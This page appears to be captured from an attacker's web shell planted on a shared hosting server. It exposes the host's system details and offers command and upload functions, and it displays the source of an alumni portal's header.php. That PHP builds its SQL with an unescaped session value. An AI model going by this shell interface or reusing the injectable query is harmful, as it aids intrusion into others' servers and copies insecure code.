MMCT TEAM
Server IP : 2a02:4780:3:1493:0:3736:a38e:7  /  Your IP : 216.73.216.60
Web Server : LiteSpeed
System : Linux sg-nme-web1393.main-hosting.eu 4.18.0-553.77.1.lve.el8.x86_64 #1 SMP Wed Oct 8 14:21:00 UTC 2025 x86_64
User : u926327694 ( 926327694)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u926327694/domains/smsoft.in/public_html/demo/fonts/../../smart/../mda/../alumini/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u926327694/domains/smsoft.in/public_html/demo/fonts/../../smart/../mda/../alumini/header.php
<?php include('adminweb/db.php'); ?>
<?php
    if(!isset($_SESSION['roll_number'])) {
        echo"<script>window.location='index.php';</script>";
    }
$sel=mysqli_query($con,"select * from web_content where id=1");
$website_details = mysqli_fetch_array($sel);

$roll_number = $_SESSION['roll_number'];
$sel_stu=mysqli_query($con,"select * from alumini where roll_number='$roll_number'");
$row_student = mysqli_fetch_array($sel_stu);
?>
<!doctype html>
	<html class="no-js" lang="en">
	<head>
<meta name="google-adsense-account" content="ca-pub-4761567819211294">
		<meta charset="utf-8">
		<title><?php echo $website_details['website_name']; ?></title>
		<meta name="description" content="<?php echo $website_details['website_name']; ?>">
		<meta name="viewport" content="width=device-width, initial-scale=1">
		<link rel="shortcut icon" href="assets/images/favicon.png" type="image/png">
		<link rel="stylesheet" href="assets/css/plugins/bootstrap.min.css">
		<link rel="stylesheet" href="assets/css/plugins/fontawesome.min.css">
		<link rel="stylesheet" href="assets/css/plugins/default.css">
		<link rel="stylesheet" href="assets/css/plugins/animate.css">
		<link rel="stylesheet" href="assets/css/plugins/slick.css">
		<link rel="stylesheet" href="assets/css/plugins/magnific-popup.css">
		<link rel="stylesheet" href="assets/css/style.css?v=166">
		<style>
            .header-area {
                background-color: #224e7d;
                padding: 10px 0;
            }
            .header-logo img {
                width: 150px;
            }
            .user-info {
                color: #fff;
                display: flex;
                align-items: center;
                justify-content: flex-end;
                gap: 15px;
            }
            .user-info span {
                font-weight: 500;
            }
            .logout-btn {
                background: #dc3545;
                color: #fff;
                padding: 6px 15px;
                border-radius: 4px;
                text-decoration: none;
                transition: 0.3s;
            }
            .logout-btn:hover {
                background: #c82333;
                text-decoration: none;
                color: #fff;
            }
            .footer-area {
                position: relative;
                bottom: 0;
                height: auto;
            }
        </style>
	</head>
	<body>
		<header class="header-area">
            <div class="container">
                <div class="row align-items-center justify-content-between">
                    <div class="col-auto">
                        <div class="header-logo">
                            <a href="index.php">
                                <img src="assets/images/logo.png?v=1761123024" alt="Logo">
                            </a>
                        </div>
                    </div>
                    <div class="col-auto">
                        <div class="user-info">
                            <span>Welcome, <strong><?php echo $row_student['name']; ?></strong></span>
                            <a href="logout.php" class="logout-btn">Logout</a>
                        </div>
                    </div>
                </div>
            </div>
        </header>

MMCT - 2023